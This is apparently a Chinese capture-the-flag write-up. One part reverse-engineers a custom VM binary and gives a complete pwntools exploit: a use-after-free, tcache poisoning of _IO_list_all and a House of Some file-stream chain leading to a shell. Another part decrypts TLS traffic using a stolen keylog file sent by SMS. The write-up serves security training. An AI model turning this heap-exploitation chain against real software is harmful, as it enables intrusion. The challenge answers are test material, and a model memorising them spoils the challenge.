软件安全攻防赛 Writeup
vm
通过 read_vm
函数还原出 main
函数以及 VM 结构体:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
initit();
vmdata = mmap((void *)0x64617461000LL, 0x30000uLL, 3, 34, -1, 0LL);
vmcode = (__int64)mmap((void *)0x7063000, 0x10000uLL, 3, 34, -1, 0LL);
stack = (__int64)mmap((void *)0x73746163000LL, 0x20000uLL, 3, 34, -1, 0LL) + 0x10000;
read_vm((struct vm *)&vmdata);
execute((vm *)&vmdata);
}
00000000 struct vm // sizeof=0x58
00000000 {
00000000 char *vmdata;
00000008 char *pc;
00000010 uint64_t *regs[6];
00000040 char *stack;
00000048 __int64 base;
00000050 __int64 field_50;
00000058 };
其中 regs
、stack
、base
字段在 execute
内部逆向过程中得出。
进入 execute
中的 decode
可以看出指令由指令最低 2 位分为四种:11 - 加载立即数至寄存器、10 - 两个形式地址、01 - 一个形式地址、00 - 带参数的隐含寻址,每种指令每个形式地址有直接寻址和寄存器间接寻址方式排列组合。
__int64 __fastcall decode(struct vm *vm, char *reading_code)
{
char *vmcode0; // rax
int low2; // eax
char *pc; // rax
char *_opcode1; // rax
__int64 result; // rax
char *__code1; // rax
char *_code2; // rax
char *vmcode1; // rax
unsigned __int8 v10; // [rsp+17h] [rbp-9h]
unsigned int i; // [rsp+18h] [rbp-8h]
vmcode0 = vm->pc;
vm->pc = vmcode0 + 1;
*reading_code = *vmcode0;
reading_code[1] = *reading_code & 3;
low2 = (unsigned __int8)reading_code[1];
if ( low2 == 3 )
{
vmcode1 = vm->pc;
vm->pc = vmcode1 + 1;
*((_DWORD *)reading_code + 1) = (unsigned __int8)*vmcode1;
if ( check_reg(*((_DWORD *)reading_code + 1)) )
return 0xFFFFFFFFLL;
*((_DWORD *)reading_code + 2) = *(_QWORD *)vm->pc;
vm->pc += 8;
}
else if ( (unsigned __int8)reading_code[1] <= 3u )
{
if ( low2 == 2 ) // 2
{
__code1 = vm->pc;
vm->pc = __code1 + 1;
*((_DWORD *)reading_code + 1) = (unsigned __int8)*__code1;
_code2 = vm->pc;
vm->pc = _code2 + 1;
*((_DWORD *)reading_code + 2) = (unsigned __int8)*_code2;
if ( check_reg(*((_DWORD *)reading_code + 1)) && check_reg(*((_DWORD *)reading_code + 2)) )
return 0xFFFFFFFFLL;
}
else if ( reading_code[1] ) // 1
{
_opcode1 = vm->pc;
vm->pc = _opcode1 + 1;
v10 = *_opcode1;
if ( check_reg((unsigned __int8)*_opcode1) )
return 0xFFFFFFFFLL;
*((_DWORD *)reading_code + 1) = v10;
}
else // 0
{
for ( i = 0; i <= 2; ++i )
{
*((_DWORD *)reading_code + 1) <<= 8;
pc = vm->pc;
vm->pc = pc + 1;
*((_DWORD *)reading_code + 1) |= (unsigned __int8)*pc;
}
}
}
result = (unsigned __int8)*reading_code;
if ( !(_BYTE)result )
return 0xFFFFFFFFLL;
return result;
}
void __fastcall __noreturn execute(vm *vm)
{
int M; // eax
_BYTE *code; // [rsp+18h] [rbp-8h]
code = malloc(12uLL);
memset(code, 0, 8uLL);
do
{
if ( (unsigned int)decode(vm, code) == -1 )
break;
M = *code & 3;
if ( M == 3 ) // imm
{
imm(vm, code);
}
else if ( (*code & 3u) <= 3 )
{
if ( M == 2 ) // 2
{
two((__int64)vm, (__int64)code);
}
else if ( (*code & 3) != 0 ) // 1
{
one(vm, (__int64)code);
}
else // 3*1
{
three((__int64)vm, (__int64)code);
}
}
memset(code, 0, 0xCuLL);
if ( vm->pc <= (char *)0x7062FFF )
break;
}
while ( vm->pc <= (char *)0x7162FFF && vm->stack > (char *)0x73746162FFFLL && vm->stack <= (char *)0x73746183000LL );
puts("Segment error");
_exit(0);
}
然后可以照着 ROM vmcode 文件辅助分析,可以抄录 vmcode 如下:
load %0, $1 ; stdout
load %1, $0 ; vmdata + 0
load %2, $0x1b ; length
syscall 0, 0, 1 ; SYS_write
???
pop %0 ; clear %0
pop %1 ; clear %1
add %1, $0x200 ; vmdata + 0x200
xor %0, %0 ; stdin
load %2, $0x300 ; length
syscall 0, 0, 0 ; SYS_read
jmp %1; ; jump to vmcode + 0x300
各种指令最关键的是 VM syscall,有 read、write、exit、create、delete、load(从 vmdata 写入堆)、put(从堆写入 vmdata)。
void __fastcall heap_op(__int64 a1, __int64 a2, void *a3, size_t a4)
{
switch ( (int)a1 )
{
case 0:
if ( ((unsigned __int64)a3 <= 0x64617460FFFLL || (unsigned __int64)a3 > 0x64617491000LL)
&& ((unsigned __int64)a3 <= 0x7062FFF || (unsigned __int64)a3 > 0x7073000) )
{
insecure(a1, a2);
}
read(a2, a3, a4);
break;
case 1:
if ( (unsigned __int64)a3 <= 0x64617460FFFLL || (unsigned __int64)a3 > 0x64617491000LL )
insecure(a1, a2);
write(a2, a3, a4);
break;
case 2:
exit(a2);
case 3:
create(a2);
break;
case 4:
delete(a2);
break;
case 5:
load(a2, (unsigned int)a3, a4);
break;
case 6:
put(a2, (unsigned int)a3, a4);
break;
default:
return;
}
}
其中 create、delete 为堆操作,add 限制 16 个, delete 有 UAF 漏洞。
__int64 __fastcall create(unsigned int size)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; chunks[i] && i <= 15; ++i )
;
if ( i == 16 )
return 0LL;
chunks[i] = malloc(size);
if ( !chunks[i] )
return 0LL;
sizes[i] = size;
return 1LL;
}
void __fastcall delete(unsigned int idx)
{
if ( idx <= 0xF )
{
if ( chunks[idx] )
free((void *)chunks[idx]); // UAF
}
}
然后就是典型的 libc 堆利用。参考之前抄写的 ROM vmcode,依葫芦画瓢写出堆操作模板。
def load(reg: int, imm: int):
return b'\x0f' + p8(reg) + p64(imm)
def add(size: int) -> bytes:
return load(0, size) + b'\xcc\x00\x00\x03'
def edit(index: int, address: int, length: int) -> bytes:
return load(0, index) + load(1, address) + load(2, length) + b'\xcc\x00\x00\x05'
def delete(index: int) -> bytes:
return load(0, index) + b'\xcc\x00\x00\x04'
def load_to(offset: int, imm: int) -> bytes:
return load(0, offset) + load(1, imm) + b'\x46\x01\x00'
def put_to(index: int, address: int, lenngth: int) -> bytes:
return load(0, index) + load(1, address) + load(2, lenngth) + b'\xcc\x00\x00\x06'
def print_to(fd: int, offset: int, length: int) -> bytes:
return load(0, fd) + load(1, offset) + load(2, length) + b'\xd4\x00\x00\x01'
def exitit():
return b'\xcc\x00\x00\x02'
unsorted bin chunk leak libc_base,tcache bin chunk leak heap_base。利用 UAF 修改 tcache next,tcache attack 劫持 _IO_list_all
,程序正常 exit
打 house of Some(_IO_flush_all
时利用 IO wide_data 任意读写,利用 environ
泄漏栈基址,栈上 ROP)getshell。
d995597d-d16e-461f-9c8c-493287f656e2
Exp:
#!/usr/bin/python
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vm'
io = process('./vm')
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)
# gdb.attach(io)
'b *$rebase(0x1599)\n'
'b *$rebase(0x196f)\nb *$rebase(0x1924)\nb *$rebase(0x1743)'
with open('vmcode', 'rb') as file:
io.sendafter(b'opcodes:\n', file.read()[4:])
def load(reg: int, imm: int):
return b'\x0f' + p8(reg) + p64(imm)
def add(size: int) -> bytes:
return load(0, size) + b'\xcc\x00\x00\x03'
def edit(index: int, address: int, length: int) -> bytes:
return load(0, index) + load(1, address) + load(2, length) + b'\xcc\x00\x00\x05'
def delete(index: int) -> bytes:
return load(0, index) + b'\xcc\x00\x00\x04'
def load_to(offset: int, imm: int) -> bytes:
return load(0, offset) + load(1, imm) + b'\x46\x01\x00'
def put_to(index: int, address: int, lenngth: int) -> bytes:
return load(0, index) + load(1, address) + load(2, lenngth) + b'\xcc\x00\x00\x06'
def print_to(fd: int, offset: int, length: int) -> bytes:
return load(0, fd) + load(1, offset) + load(2, length) + b'\xd4\x00\x00\x01'
def exitit():
return b'\xcc\x00\x00\x02'
with open('vmcode', 'rb') as file:
io.sendafter(b'opcodes:\n', add(0x500) + add(0x50) + delete(0) + put_to(0, 0x110, 0x8) + print_to(1, 0x110, 0x8) + file.read()[4:])
libc.address = u64(io.recv(8)) - 2206944
print(f'libc_base: {hex(libc.address)}')
with open('vmcode', 'rb') as file:
io.sendafter(b'opcodes:\n', delete(1) + put_to(1, 0x110, 0x8) + print_to(1, 0x110, 0x8) + file.read()[4:])
heap_base = u64(io.recv(8))
print(f'heap_base: {hex(heap_base)}')
print(f'search -t qword {hex(libc.sym['_IO_list_all'] ^ heap_base)}')
fake_file_offset = 0x7063aa8
from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base << 12) + 0x1000)
payload = hos.hoi_read_file_template((heap_base << 12) + 0x1000, 0x400, (heap_base << 12) + 0x1000, 0)
io.sendlineafter(b'opcodes:\n', (edit(1, 0x200, 0x16) + delete(1) + load_to(0x100, (libc.sym['_IO_list_all'] ^ heap_base) & 0xffffffff) + load_to(0x104, (libc.sym['_IO_list_all'] ^ heap_base) >> 32) + edit(1, 0x100, 0x8) + add(0x50) + add(0x50) + load_to(0x200, fake_file_offset) + edit(3, 0x200, 0x8) + exitit()).ljust(0x150, b'\x00') + payload)
hos.bomb(io)
io.interactive()
5G消息_TLS
根据题目标题和流量内容,用 Wireshark 分析电话/SIP 流,其中第一条短信是:
Alice, I am Bob. I stole the sslkeylog file, this is crazy.
接下来 Bob 将 keylog_file 分段发送。将这几条短信内容拼接得到:
SERVER_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 994da7436ac3193aff9c2ebaa3c072ea2c5b704683928e9f6e24d183e7e530386c1dcd186b9286f98249b4dc90d8b795
EXPORTER_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 31882156a3212a425590ce171cb78068ee63e7358b587fed472d45d67ea567d98a079c84867a18665732cf0bfe18f0b0
SERVER_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 1fbf7c07ca88c7c91be9cce4c9051f2f4bd7fb9714920661d026119ebab458db8637089348dd5a92dc75633bdcf43630
CLIENT_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 a98fab3039737579a50e2b3d0bbaba7c9fcf6881d26ccf15890b06d723ba605f096dbe448cd9dcc6cf4ef5c82d187bd0
CLIENT_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 646306cb35d94f23e125225dc3d3c727df65b6fcec4c6cd77b6f8e2ff36d48e2b7e92e8f9188597c961866b3b667f405
将它保存为文件,在 Wireshark 编辑/首选项/Protocols/TLS 中设置 (Pre)-Master-Secret log filename 即可解密 TLS 流。在短信之前的 TLS 流中可以提取到 PNG 图片,内容即为 flag:
abcdef1234567890deadbeefc0ffeeba